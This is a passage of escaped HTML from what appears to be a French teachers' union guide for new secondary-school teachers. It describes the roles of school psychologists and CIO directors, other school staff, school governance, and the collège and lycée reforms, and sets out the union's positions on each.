seulement 75 postes ont \u00e9t\u00e9 propos\u00e9s, ce qui fait revenir le recrutement de Psy-\u00c9N aux sombres ann\u00e9es Sarkozy.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Pr\u00e9vention des ruptures scolaires<\/h4>\n<p>La contribution des Psy-\u00c9N aux \u00ab actions de pr\u00e9vention, d\u2019intervention, et de rem\u00e9diation du d\u00e9crochage et des ruptures scolaires \u00bb est bien situ\u00e9e au sein des GPDS(1) et du r\u00e9seau Formation qualification emploi (FOQUALE)(2), en lien avec les autres partenaires au sein des PSAD(3).<\/p>\n<p>La contribution au SPRO(4) est encadr\u00e9e par plusieurs textes r\u00e9f\u00e9renc\u00e9s : l\u2019<a href=\"https:\/\/www.legifrance.gouv.fr\/circulaire\/id\/38341\">accord-cadre du 28 novembre 2014<\/a>, la convention nationale-type \u00c9tat-R\u00e9gion qui lui est annex\u00e9e et la circulaire du 20 mars 2015 sur le droit au retour en formation. Rappelons que l\u2019article 3 du <a href=\"https:\/\/www.legifrance.gouv.fr\/jorf\/id\/JORFTEXT000033968083\/\">d\u00e9cret Psy-\u00c9N du 1er f\u00e9vrier 2017<\/a> pr\u00e9cise que cette contribution se limite \u00ab au premier accueil de toute personne en recherche de solutions pour son orientation \u00bb. Cet \u00e9quilibre est gravement menac\u00e9 par la loi \u00ab\u00a0pour la Libert\u00e9 de choisir son avenir professionnel\u00a0\u00bb\u00a0(LCAP) qui confie aux R\u00e9gions l\u2019information sur les formations et les m\u00e9tiers. De nombreuses R\u00e9gions n\u2019h\u00e9sitent pas \u00e0 mordre le trait\u00a0: de l\u2019information \u00e0 l\u2019accompagnement et \u00e0 l\u2019aide \u00e0 la construction du projet, la tentation est grande\u2026 Faisant appel \u00e0 des associations diverses, et aux organismes patronaux, elles proposent aux \u00e9tablissements des prestations cl\u00e9s en main qui ne se limitent souvent pas \u00e0 de l\u2019information sur les m\u00e9tiers. Les coll\u00e8gues doivent \u00eatre vigilants pour \u00e9viter des d\u00e9rives ou une manipulation douce qui, au lieu d\u2019ouvrir le champ des possibles, d\u00e9terminerait des jeunes vers les formations locales et les \u00ab\u00a0m\u00e9tiers en tension\u00a0\u00bb.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le r\u00f4le des dcio<\/h4>\n<p>Pour la premi\u00e8re fois, les directeurs de CIO voient leurs activit\u00e9s pr\u00e9cis\u00e9es dans cette circulaire.<\/p>\n<p>Les trois axes fondamentaux de leur action sont d\u00e9finis :<\/p>\n<p>\u2022 responsable, animateur d\u2019\u00e9quipes et gestionnaire du CIO, par l\u2019organisation de l\u2019activit\u00e9 de l\u2019\u00e9quipe au CIO comme dans les \u00e9tablissements, l\u2019impulsion de la r\u00e9flexion et la participation \u00e0 l\u2019\u00e9valuation du travail ;<\/p>\n<p>\u2022 animateur au sein du bassin, par sa connaissance du fonctionnement du syst\u00e8me \u00e9ducatif, ses analyses locales, ses initiatives en mati\u00e8re de formation et d\u2019information des acteurs locaux ;<\/p>\n<p>\u2022 personne ressource, experte du syst\u00e8me \u00e9ducatif, par sa participation aux diff\u00e9rentes instances internes \u00e0 l\u2019\u00c9ducation nationale et avec les partenaires o\u00f9 la situation des adolescents est examin\u00e9e (services \u00e9ducatifs, m\u00e9dico-sociaux, associations de parents, missions locales et autres partenaires des PSAD).<\/p>\n<p>Mais, une nouvelle carte cible est en construction, qui devrait voir dispara\u00eetre les CIO en dehors \u00ab\u00a0d\u2019un par d\u00e9partement\u00a0\u00bb. Ce sont donc plus de 300 CIO qui dispara\u00eetraient dans les trois ans qui viennent. Les Psy-\u00c9N devraient \u00eatre positionn\u00e9s dans les lyc\u00e9es. Le devenir des DCIO est donc gravement menac\u00e9. Priv\u00e9s de l\u2019animation de l\u2019\u00e9quipe des Psy-\u00c9N, ils risquent de devenir les auxiliaires des CSAIO, et leurs missions r\u00e9duites \u00e0 la gestion des proc\u00e9dures d\u2019affectation et \u00e0 la coordination des actions avec la r\u00e9gion. Le SNES-FSU s\u2019oppose \u00e0 ce d\u00e9mant\u00e8lement du service public d\u2019orientation de l\u2019EN.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-13\"><\/a><em>Les autres m\u00e9tiers dans l\u2019\u00e9tablissement<\/em><\/h3>\n<p>La \u00ab communaut\u00e9 scolaire \u00bb est compos\u00e9e de personnels dont les qualifications sont diff\u00e9rentes : professeurs, Conseillers principaux d\u2019\u00e9ducation (CPE), Assistants d\u2019\u00e9ducation (AED), Accompagnant des \u00e9l\u00e8ves en situation de handicap (AESH), administratifs, techniques, ouvriers de service (ATOSS), Psychologues de l\u2019\u00c9ducation nationale (Psy-\u00c9N), infirmi\u00e8re scolaire, assistante sociale, personnels d\u2019intendance et de direction. Un \u00e9change sur les probl\u00e8mes rencontr\u00e9s par les uns et les autres, une mise en synergie d\u2019un certain nombre de pratiques et d\u2019activit\u00e9s favorisent un climat social plus serein, permettent d\u2019affronter plus efficacement certaines situations difficiles (violences, d\u00e9gradations, incivilit\u00e9s) et de trouver des r\u00e9ponses aux difficult\u00e9s des \u00e9l\u00e8ves. Tous ces personnels participent, selon leurs qualifications respectives, \u00e0 l\u2019am\u00e9lioration de l\u2019encadrement scolaire et \u00e9ducatif et la r\u00e9ussite des \u00e9l\u00e8ves. Le travail pr\u00e9caire touche les divers m\u00e9tiers, que ce soit via des contrats salari\u00e9s de droit public (AED, enseignants et CPE contractuels) mais aussi de droit priv\u00e9 (salari\u00e9s en contrats aid\u00e9s ou en contrat d\u2019apprentissage) voire, ces derni\u00e8res ann\u00e9es, le recrutement de \u00ab volontaires \u00bb hors salariat (Service civique sans contrat de travail).<\/p>\n<p class=\"has-light-green-cyan-background-color has-background\">N.B. Pour parfaire votre connaissance du fonctionnement de l\u2019\u00e9tablissement, n\u2019h\u00e9sitez pas \u00e0 demander aux repr\u00e9sentants du SNES-FSU, du SNEP-FSU ou du SNUEP-FSU de votre \u00e9tablissement si vous pouvez participer au CA en tant qu\u2019observateur.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-14\"><\/a><em>\u00c0 la d\u00e9couverte de l\u2019\u00e9tablissement<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">L\u2019organisation de l\u2019\u00e9tablissement<\/h4>\n<p class=\"has-vivid-red-color has-text-color\"><strong>L\u2019autonomie<\/strong><\/p>\n<p>Depuis 1983, les coll\u00e8ges et les lyc\u00e9es sont des \u00e9tablissements publics locaux d\u2019enseignement (EPLE), et disposent d\u2019une autonomie dans des domaines d\u00e9finis par le Code de l\u2019\u00e9ducation : organisation p\u00e9dagogique et \u00e9ducative, budget, march\u00e9s ou passation de certaines conventions. C\u2019est le conseil d\u2019administration (CA) qui prend les d\u00e9cisions relevant de ces domaines d\u2019autonomie et le chef d\u2019\u00e9tablissement \u00ab en tant qu\u2019organe ex\u00e9cutif de l\u2019\u00e9tablissement [qui] ex\u00e9cute les d\u00e9lib\u00e9rations du CA \u00bb.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU d\u00e9fendent l\u2019id\u00e9e que si l\u2019autonomie peut contribuer \u00e0 construire de la d\u00e9mocratie locale, des \u00e9l\u00e9ments essentiels (programmes, horaires des classes, \u00adstatut et r\u00e9mun\u00e9ration des personnels\u2026) doivent rester des pr\u00e9rogatives de l\u2019\u00c9tat afin de garantir l\u2019\u00e9galit\u00e9 de la formation sur tout le territoire et l\u2019ind\u00e9pendance des enseignants dans l\u2019exercice de leur m\u00e9tier. Ils s\u2019opposent \u00e0 l\u2019\u00e9largissement de l\u2019autonomie dans ces domaines, comme cela a \u00e9t\u00e9 le cas avec la r\u00e9forme du coll\u00e8ge et aujourd\u2019hui celle du lyc\u00e9e\u00a0: d\u00e9finitions locales de parcours d\u2019enseignement, de d\u00e9doublement ou non de disciplines\u2026 Nous combattons l\u2019\u00e9largissement des comp\u00e9tences des collectivit\u00e9s locales dans le domaine de l\u2019\u00e9ducation. Nos adh\u00e9rents interviennent dans les conseils d\u2019administration pour que les choix p\u00e9dagogiques qui rel\u00e8vent de l\u2019autonomie \u00e9manent de propositions des \u00e9quipes p\u00e9dagogiques. Dans ses champs de comp\u00e9tence, le lieu de la d\u00e9mocratie dans l\u2019\u00e9tablissement doit rester le conseil d\u2019administration, qui rassemble les repr\u00e9sentants \u00e9lus des personnels et des usagers et l\u2019administration.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\"><strong>Conseil p\u00e9dagogique, conseil \u00e9cole-coll\u00e8ge, conseil de cycle 3<\/strong><\/p>\n<p>Le conseil p\u00e9dagogique est pr\u00e9sid\u00e9 par le chef d\u2019\u00e9tablissement qui a d\u00e9sign\u00e9 au moins un professeur principal de chaque niveau d\u2019enseignement, au moins un professeur par champ disciplinaire, un conseiller principal d\u2019\u00e9ducation et, le cas \u00e9ch\u00e9ant, le chef de travaux. Il a pour mission de favoriser la concertation entre les professeurs, notamment pour coordonner les enseignements, la notation et l\u2019\u00e9valuation des activit\u00e9s scolaires. Il pr\u00e9pare la partie p\u00e9dagogique du projet d\u2019\u00e9tablissement. Ce n\u2019est pas une instance d\u00e9cisionnelle et il ne peut se substituer au CA. Il \u00ab ne peut porter atteinte \u00e0 la libert\u00e9 p\u00e9dagogique de l\u2019enseignant \u00bb comme le rappelle la loi.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Au pr\u00e9texte de mieux coordonner le travail des \u00e9quipes des \u00e9coles et des coll\u00e8ges et dans une vision d\u2019une organisation du syst\u00e8me \u00e9ducatif dans lequel la rupture \u00e9cole coll\u00e8ge serait la cause de tous les maux, ont \u00e9t\u00e9 cr\u00e9\u00e9s le conseil \u00e9cole-coll\u00e8ge (rentr\u00e9e 2013) et les conseils de cycle 3 (rentr\u00e9e 2015). Ces instances conduisent \u00e0 une multiplication de r\u00e9unions le plus souvent sans utilit\u00e9, voire \u00e0 l\u2019imposition de pratiques format\u00e9es ou d\u2019exp\u00e9rimentations visant \u00e0 un pilotage local de la scolarit\u00e9 obligatoire : tout le contraire de l\u2019exercice de la libert\u00e9 p\u00e9dagogique indispensable \u00e0 des initiatives constructives. La \u00adparticipation \u00e0 ces r\u00e9unions ne constitue pas une obligation. Qu\u2019il s\u2019agisse d\u2019un conseil ou d\u2019un autre, le SNES-FSU, le SNEP-FSU et le SNUEP-FSU appellent les \u00adcoll\u00e8gues \u00e0 refuser toute atteinte \u00e0 leur libert\u00e9 p\u00e9dagogique (que ce soit dans leurs pratiques ou dans le domaine de l\u2019\u00e9valuation des \u00e9l\u00e8ves) et toute tentative de contournement des instances d\u00e9cisionnelles (CA notamment) et de leurs repr\u00e9sentants \u00e9lus. Pour autant, ils continuent \u00e0 demander les moyens d\u2019un v\u00e9ritable travail de concertation, par classe, niveau et discipline.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Le coll\u00e8ge<\/h4>\n<p><strong>Le coll\u00e8ge dit \u00ab unique \u00bb<\/strong> a \u00e9t\u00e9 initi\u00e9 par la r\u00e9forme de Ren\u00e9 Haby en 1975. Auparavant, les \u00e9l\u00e8ves issus de l\u2019\u00e9cole primaire \u00e9taient orient\u00e9s dans une des trois fili\u00e8res distinctes de formation, socialement marqu\u00e9es, cette r\u00e9forme visait \u00e0 scolariser tous les \u00e9l\u00e8ves dans un m\u00eame lieu : le coll\u00e8ge mais sans changer les contenus d\u2019enseignement pens\u00e9s pour une minorit\u00e9. Son unification a \u00e9t\u00e9 progressive.<\/p>\n<p><strong>Ses limites<\/strong><\/p>\n<p>Depuis 1995, le coll\u00e8ge semble rencontrer ses limites sur un \u00ab noyau dur \u00bb d\u2019\u00e9l\u00e8ves en grande difficult\u00e9. Pourtant, les difficult\u00e9s scolaires ne naissent pas au coll\u00e8ge (15 \u00e0 20\u00a0% des \u00e9l\u00e8ves quittent le CM2 avec de tr\u00e8s faibles comp\u00e9tences, notamment en lecture ou en math\u00e9matiques) ; elles s\u2019y r\u00e9v\u00e8lent de fa\u00e7on plus aigu\u00eb parce que les savoirs et savoir-faire \u00e0 acqu\u00e9rir au coll\u00e8ge sont plus complexes, et que les contenus d\u2019enseignement ne font pas toujours sens, notamment pour les \u00e9l\u00e8ves les plus \u00e9loign\u00e9s de la culture scolaire. Taux d\u2019encadrement en r\u00e9gression, classes de plus en plus h\u00e9t\u00e9rog\u00e8nes aux effectifs trop lourds, travail quasi exclusif en classe enti\u00e8re, r\u00e9duction des horaires disciplinaires\u2026 Faute d\u2019investissement \u00e9ducatif ambitieux, les in\u00e9galit\u00e9s sociales se sont amplifi\u00e9es creusant encore les in\u00e9galit\u00e9s scolaires. La r\u00e9forme du coll\u00e8ge mise en \u0153uvre depuis la rentr\u00e9e 2016 contre l\u2019avis majoritaire de la profession et \u00e0 marche forc\u00e9e n\u2019a pas permis de r\u00e9soudre ces difficult\u00e9s et risque m\u00eame de les aggraver. AP et EPI ont \u00e9t\u00e9 pris sur les horaires disciplinaires. Des enseignements et\/ou des options ont \u00e9t\u00e9 supprim\u00e9s ou mis \u00e0 mal (latin, classes bilangues, sections europ\u00e9ennes\u2026). La mise en \u0153uvre du LSUN vise \u00e0 modifier en profondeur les pratiques d\u2019\u00e9valuation des \u00e9l\u00e8ves tout en d\u00e9poss\u00e9dant les enseignants de cette mission au profit de la hi\u00e9rarchie (chefs d\u2019\u00e9tablissement, IPR, rectorat). Si l\u2019assouplissement de la r\u00e9forme du coll\u00e8ge a \u00e9t\u00e9 synonyme de quasi-disparition des EPI et du r\u00e9tablissement de certains enseignements, il a renforc\u00e9 l\u2019autonomie et la mise en concurrence des personnels, des disciplines et des \u00e9tablissements en ne pr\u00e9voyant aucun financement fl\u00e9ch\u00e9 des options. C\u2019est \u00e0 l\u2019\u00e9tablissement de les prendre en charge sur sa marge horaire qui sert aussi \u00e0 alimenter les groupes \u00e0 effectif r\u00e9duit et les co-interventions. La multiplication des dispositifs et des exp\u00e9rimentations se fait en concurrence des enseignements. La loi \u00ab\u00a0Pour une \u00e9cole de la confiance\u00a0\u00bb va poursuivre la remise en cause de l\u2019unit\u00e9 du service public en renfor\u00e7ant l\u2019organisation locale des coll\u00e8ges au nom de l\u2019autonomie et de l\u2019adaptation au public scolaire, creusant les in\u00e9galit\u00e9s. Faire r\u00e9ussir les \u00e9l\u00e8ves au coll\u00e8ge passe par une augmentation des moyens qui permettrait notamment une baisse des effectifs.<\/p>\n<p>Faute de solution, les \u00e9l\u00e8ves rest\u00e9s en \u00e9chec au coll\u00e8ge adoptent souvent des comportements de passivit\u00e9, de rejet, voire de violence ; privil\u00e9giant l\u2019appartenance au groupe de pairs, ils opposent souvent la sociabilit\u00e9 juv\u00e9nile aux normes scolaires, ce qui p\u00e8se sur la gestion de la classe. Dans les coll\u00e8ges notamment des quartiers d\u00e9favoris\u00e9s, le temps est de plus en plus d\u00e9vor\u00e9 par la gestion des probl\u00e8mes \u00e9ducatifs aux d\u00e9pens des apprentissages scolaires.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU ont pris toute leur place dans la concertation qui a pr\u00e9c\u00e9d\u00e9 l\u2019\u00e9laboration du projet de loi de refondation de l\u2019\u00e9cole qui affiche le retour \u00e0 une ambition pour tous les \u00e9l\u00e8ves et une r\u00e9duction des in\u00e9galit\u00e9s scolaires. L\u2019\u00e9viction vers l\u2019alternance pour les \u00e9l\u00e8ves de moins de 15 ans et l\u2019apprentissage junior sont abrog\u00e9s. La loi a ajout\u00e9 la dimension culturelle au socle commun, et c\u2019est le nouveau Conseil sup\u00e9rieur des programmes (CSP) qui en a d\u00e9fini les contenus\u00a0: il faut noter dans ce nouveau socle une rupture avec le socle de 2005. Le socle est d\u00e9sormais le \u00ab\u00a0programme des programmes\u00a0\u00bb et non plus un objet distinct d\u2019eux\u00a0; il cherche \u00e0 construire une culture commune \u00e0 tous et non plus des comp\u00e9tences utilitaristes visant \u00e0 la seule employabilit\u00e9 des \u00e9l\u00e8ves. Cependant, la mise en place du LSUN ainsi que des \u00e9valuations de fin de cycle Sixi\u00e8me\/Troisi\u00e8me conduit \u00e0 un retour vers le LPC et \u00e0 la multiplication des injonctions qui remettent en cause l\u2019expertise professionnelle des enseignants et entravent leur libert\u00e9 p\u00e9dagogique. Les nouveaux programmes con\u00e7us par cycle et de mani\u00e8re spiralaire dont la plupart ne disposent d\u2019aucun rep\u00e8re annuel ne sont pas satisfaisants. Alors que la loi de Refondation faisait le choix de ne pas installer un continuum structurel fondant \u00e9cole primaire et \u00adcoll\u00e8ge en une seule entit\u00e9, force est de constater la constance avec laquelle les choix minist\u00e9riels tendent \u00e0 primariser le coll\u00e8ge : les textes d\u2019application de la loi de Refondation, notamment pour le conseil \u00e9cole\/coll\u00e8ge, ne nous satisfont pas avec une pr\u00e9sidence conjointe chef d\u2019\u00e9tablissement\/IEN et un mode de d\u00e9signation de ses membres peu \u00add\u00e9mocratique. Les cycles \u00adinstall\u00e9s dans l\u2019urgence ont cr\u00e9\u00e9 un cycle d\u00e9s\u00e9quilibr\u00e9 CM1\/CM2\/Sixi\u00e8me et un cycle \u00adCinqui\u00e8me\/Quatri\u00e8me\/Troisi\u00e8me pens\u00e9 sans liaison avec le lyc\u00e9e. La r\u00e9forme du coll\u00e8ge impos\u00e9e par le minist\u00e8re a pour objectif le d\u00e9veloppement de l\u2019autonomie qui se traduit par un renforcement des pouvoirs du chef d\u2019\u00e9tablissement ainsi que la gestion locale d\u2019une partie des moyens et des contenus fragilisant ainsi le cadre national. L\u2019interdisciplinarit\u00e9 mise en \u0153uvre contre les disciplines ne peut \u00eatre une solution aux difficult\u00e9s des \u00e9l\u00e8ves. Mise en \u0153uvre \u00e0 marche forc\u00e9e et accompagn\u00e9e de formations indigentes, la r\u00e9forme du coll\u00e8ge a fortement d\u00e9grad\u00e9 les conditions de travail des coll\u00e8ges. Le Snes-FSU et le Snep-FSU continueront \u00e0 se battre pour que le coll\u00e8ge b\u00e9n\u00e9ficie d\u2019une autre r\u00e9forme.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\"><strong>Les parcours<\/strong><\/p>\n<p>Quatre parcours \u00e9ducatifs doivent \u00eatre mis en place de l\u2019\u00e9cole \u00e9l\u00e9mentaire \u00e0 la Terminale : le parcours citoyen (PC), le parcours avenir (PA), le parcours d\u2019\u00e9ducation artistique, culturelle (PEAC) et le parcours \u00e9ducatif de sant\u00e9 (PES). Ils s\u2019appuient sur les enseignements.<\/p>\n<p><strong>Le parcours citoyen (PC)<\/strong> a pour double objectif de faire conna\u00eetre aux \u00e9l\u00e8ves les valeurs de la R\u00e9publique et de les amener \u00e0 devenir des citoyens libres et responsables. Il est cens\u00e9 se construire autour de l\u2019enseignement moral et civique, de l\u2019\u00e9ducation aux m\u00e9dias et \u00e0 l\u2019information, de l\u2019\u00e9ducation \u00e0 l\u2019environnement et au d\u00e9veloppement durable. Toutes les disciplines y concourent.<\/p>\n<p><strong>Le parcours avenir (PA)<\/strong> est d\u00e9fini, sous la responsabilit\u00e9 du chef d\u2019\u00e9tablissement et avec l\u2019\u00e9l\u00e8ve, ses parents ou son responsable l\u00e9gal, par les psychologues EDO, les enseignants et les autres professionnels comp\u00e9tents. Les administrations concern\u00e9es, les collectivit\u00e9s territoriales, les organisations professionnelles, les entreprises et les associations contribuent \u00e0 sa mise en \u0153uvre.<\/p>\n<p><strong>Le parcours d\u2019\u00e9ducation artistique et culturelle (PEAC)<\/strong>, s\u2019appuyant sur les enseignements, il a pour ambition de favoriser l\u2019\u00e9gal acc\u00e8s de tous les \u00e9l\u00e8ves aux arts et \u00e0 la culture \u00e0 travers l\u2019acquisition d\u2019une culture artistique personnelle. Il a pour but de mettre en coh\u00e9rence toutes les actions men\u00e9es dans le cadre de l\u2019\u00e9ducation artistique et culturelle dans tous les cycles. Les \u00e9l\u00e8ves sont cens\u00e9s d\u00e9couvrir des \u0153uvres de tous les domaines artistiques et garder une trace r\u00e9flexive de ces d\u00e9couvertes. Les projets propos\u00e9s doivent respecter les objectifs \u00e0 atteindre en fin de cycle list\u00e9s dans le r\u00e9f\u00e9rentiel.<\/p>\n<p>Ces parcours ne doivent pas piloter les contenus d\u2019enseignement ; les missions de chacun doivent \u00eatre respect\u00e9es (enseignants, partenaires \u00adculturels, psy-\u00c9N, etc.).<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td><strong>Faut-il abandonner la d\u00e9mocratisation de l\u2019\u00e9cole ? <\/strong><br \/>\nFace \u00e0 des probl\u00e8mes d\u2019une telle ampleur, une partie de la profession doute de la possibilit\u00e9 d\u2019assurer la r\u00e9ussite de toute une classe d\u2019\u00e2ge. S\u2019appuyant sur les difficult\u00e9s r\u00e9elles du coll\u00e8ge, certains proposent de revenir \u00e0 un syst\u00e8me plus s\u00e9lectif, avec \u00e9viction pr\u00e9coce et fili\u00e8res s\u00e9gr\u00e9gatives. Le SNES-FSU et le SNEP-FSU proposent de construire un coll\u00e8ge plus juste et plus humain qui forme des individus libres et \u00e9clair\u00e9s et qui pr\u00e9pare tous les jeunes \u00e0 des poursuites d\u2019\u00e9tudes en leur donnant les moyens de s\u2019approprier une culture commune exigeante. <strong>Cela demande : <\/strong><br \/>\n\u2022 de concevoir des programmes plus coh\u00e9rents entre eux qui donnent du sens aux apprentissages ;<br \/>\n\u2022 de donner aux professeurs les moyens de diversifier leurs pratiques p\u00e9dagogiques dans des classes moins charg\u00e9es, en alternant travail en classe enti\u00e8re et travail en groupes dans toutes les disciplines ;<br \/>\n\u2022 de penser une formation initiale et continue de qualit\u00e9, en lien avec les r\u00e9sultats de la recherche\u00a0;<br \/>\n\u2022 de penser une \u00e9valuation des \u00e9l\u00e8ves plus soucieuse de rep\u00e9rer les r\u00e9ussites, mais sans d\u00e9magogie.<br \/>\n<strong>Cela suppose aussi : <\/strong><br \/>\n\u2022 des \u00e9quipes pluriprofessionnelles compl\u00e8tes qui ont du temps pour travailler ensemble, se concerter, dialoguer avec les familles et les \u00e9l\u00e8ves en suivant plus particuli\u00e8rement les plus fragiles ;<br \/>\n\u2022 une carte scolaire repens\u00e9e pour viser partout plus de mixit\u00e9 scolaire et sociale ;<br \/>\n\u2022 une \u00e9ducation prioritaire au p\u00e9rim\u00e8tre suffisant, dot\u00e9e \u00e0 hauteur des besoins, avec des \u00e9quipes respect\u00e9es dans leur professionnalit\u00e9 et dans leurs droits.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>Le parcours \u00e9ducatif de sant\u00e9 (PES) comprend trois axes : l\u2019\u00e9ducation \u00e0 la sant\u00e9 (bas\u00e9e sur le socle commun des connaissances, de comp\u00e9tences et de culture et les programmes scolaires et d\u00e9finissant des comp\u00e9tences \u00e0 acqu\u00e9rir \u00e0 chaque \u00e9tape de la scolarit\u00e9), la pr\u00e9vention (actions centr\u00e9es sur une ou plusieurs probl\u00e9matiques de sant\u00e9 prioritaires ayant des dimensions \u00e9ducatives et sociales) et la protection de la sant\u00e9 (d\u00e9marches li\u00e9es \u00e0 la protection de la sant\u00e9 des \u00e9l\u00e8ves mises en \u0153uvre dans l\u2019\u00e9cole et l\u2019\u00e9tablissement).<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Les lyc\u00e9es : g\u00e9n\u00e9raux et technologiques (LGT), polyvalents (LPO) et professionnels (LP)<\/h4>\n<p class=\"has-vivid-red-color has-text-color\"><strong>L\u2019organisation du lyc\u00e9e<\/strong><\/p>\n<p>Il scolarise 2,3 millions d\u2019\u00e9l\u00e8ves, et m\u00e8ne environ 79\u00a0% d\u2019une classe d\u2019\u00e2ge au baccalaur\u00e9at. Avec les r\u00e9formes Blanquer, la voie technologique conserve ses s\u00e9ries (remodel\u00e9es), mais dans la voie g\u00e9n\u00e9rale, les trois s\u00e9ries (ES, L, S) sont supprim\u00e9es, et remplac\u00e9es par un \u00ab\u00a0libre choix\u00a0\u00bb de trois \u00ab\u00a0enseignements de sp\u00e9cialit\u00e9\u00a0\u00bb en Premi\u00e8re, r\u00e9duits \u00e0 deux en Terminale (et compl\u00e9t\u00e9s par un tronc \u00adcommun trop restreint). Ce \u00ab\u00a0libre choix\u00a0\u00bb est artificiel, puisque contraint par une offre de sp\u00e9cialit\u00e9s tr\u00e8s in\u00e9gale entre les lyc\u00e9es, et par les enjeux d\u2019organisation des emplois du temps \u2013 sans compter les d\u00e9terminismes sociaux qui p\u00e8sent sur ces choix. Il entra\u00eene une concurrence tr\u00e8s forte entre disciplines, et risque de d\u00e9grader les relations entre personnels.<\/p>\n<p>Le baccalaur\u00e9at est \u00e9galement r\u00e9form\u00e9 d\u00e8s cette session 2021. Il repose \u00e0 40\u00a0% sur du contr\u00f4le continu local et menace gravement la valeur nationale du dipl\u00f4me. Son organisation s\u2019annonce comme une usine \u00e0 gaz \u00e9puisante, qui met \u00e9l\u00e8ves et enseignants en situation d\u2019\u00e9valuation permanente, pendant les deux ann\u00e9es du cycle terminal.<\/p>\n<p>Dans les lyc\u00e9es professionnels, la suppression d\u2019un nombre important d\u2019heures d\u2019enseignement g\u00e9n\u00e9ral et la mise en place des Secondes \u00e0 champ professionnel contribuent \u00e0 d\u00e9grader les conditions d\u2019\u00e9tudes des \u00e9l\u00e8ves et de travail des enseignants et renforcent la concurrence avec l\u2019apprentissage, fortement promu par ailleurs.<\/p>\n<p>La situation sanitaire a impos\u00e9 en 2020 un baccalaur\u00e9at enti\u00e8rement au contr\u00f4le continu et une d\u00e9gradation consid\u00e9rable de l\u2019acc\u00e8s aux formations. Il serait inconcevable de voir le minist\u00e8re s\u2019ent\u00eater dans des r\u00e9formes qui nuisent \u00e0 la qualit\u00e9 des enseignements et au dipl\u00f4me du baccalaur\u00e9at. L\u2019ann\u00e9e 2020-2021 devrait \u00eatre une ann\u00e9e de transition avec une organisation provisoire des enseignements, un nouveau calendrier des examens et des programmes nationaux am\u00e9nag\u00e9s.<\/p>\n<p class=\"has-vivid-red-color has-text-color\"><strong>Participation des \u00e9l\u00e8ves \u00e0 la vie de l\u2019\u00e9tablissement<\/strong><\/p>\n<p>Des instances sp\u00e9cifiques existent, telles que le conseil de la vie lyc\u00e9enne ou la maison des lyc\u00e9ens mais aussi des instances de projets comme le CESC (Comit\u00e9 d\u2019\u00e9ducation \u00e0 la sant\u00e9 et la citoyennet\u00e9). Les lyc\u00e9ens, parfois jeunes adultes, peuvent y exp\u00e9rimenter la prise de responsabilit\u00e9, l\u2019autonomie et l\u2019action citoyenne.<\/p>\n<p class=\"has-vivid-red-color has-text-color\"><strong>Quelles conditions de travail ?<\/strong><\/p>\n<p>Au lyc\u00e9e, les classes de Seconde (dont 80\u00a0% ont 30 \u00e9l\u00e8ves ou plus) sont souvent tr\u00e8s h\u00e9t\u00e9rog\u00e8nes, et la pr\u00e9paration du bac fait pression sur le cycle terminal. La charge de pr\u00e9paration de cours et de correction de copies est lourde. Les professeurs d\u00e9butants s\u2019y sentent souvent plus \u00e0 l\u2019aise qu\u2019au coll\u00e8ge, la maturit\u00e9 des \u00e9l\u00e8ves facilitant la gestion de la classe et du cours.<\/p>\n<p class=\"has-vivid-red-color has-text-color\"><strong>La d\u00e9mocratisation du lyc\u00e9e<\/strong><\/p>\n<p>R\u00e9pondant \u00e0 la demande sociale et aux besoins de l\u2019\u00e9conomie, le lyc\u00e9e a su qualifier un nombre croissant de jeunes : la mise en place de la voie technologique (1968) puis la cr\u00e9ation du baccalaur\u00e9at professionnel (1985) a permis de tripler la part des bacheliers dans une g\u00e9n\u00e9ration (20\u00a0% en 1970, 64\u00a0% en 1994).<\/p>\n<p>\u00c0 ce jour, 79\u00a0% d\u2019une classe d\u2019\u00e2ge obtient un baccalaur\u00e9at. Un jeune sur cinq ne trouve donc pas sa place au lyc\u00e9e (souvent des jeunes de milieux populaires).<\/p>\n<p>Les r\u00e9formes du lyc\u00e9e et du baccalaur\u00e9at, articul\u00e9es \u00e0 celles de l\u2019enseignement sup\u00e9rieur, augurent des changements profonds tant du point de vue de l\u2019exercice du m\u00e9tier que des enseignements.<\/p>\n<p>Avec la r\u00e9forme de l\u2019acc\u00e8s \u00e0 l\u2019enseignement sup\u00e9rieur et la g\u00e9n\u00e9ralisation de la s\u00e9lection sur profil (Parcoursup), le baccalaur\u00e9at ne constitue plus la condition suffisante pour poursuivre des \u00e9tudes. Les enseignants se voient maintenant investis de la mission de profiler leurs \u00e9l\u00e8ves et de fournir un avis sur leur capacit\u00e9 \u00e0 r\u00e9ussir pour chaque formation. La disparition des s\u00e9ries dans la voie g\u00e9n\u00e9rale et la fragilisation des s\u00e9ries technologiques viennent couronner un projet \u00e9ducatif qui individualise les parcours et r\u00e9duit le champ des possibilit\u00e9s de poursuite d\u2019\u00e9tudes.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Alors que tous les nouveaux dispositifs (accompagnement personnalis\u00e9, enseignements d\u2019exploration, stages de mise \u00e0 niveau, passerelles, tutorat\u2026) pr\u00e9sent\u00e9s comme des panac\u00e9es ont fait la d\u00e9monstration de leur \u00e9chec sur le terrain, dans les discours officiels, le lyc\u00e9e semble devoir \u00eatre 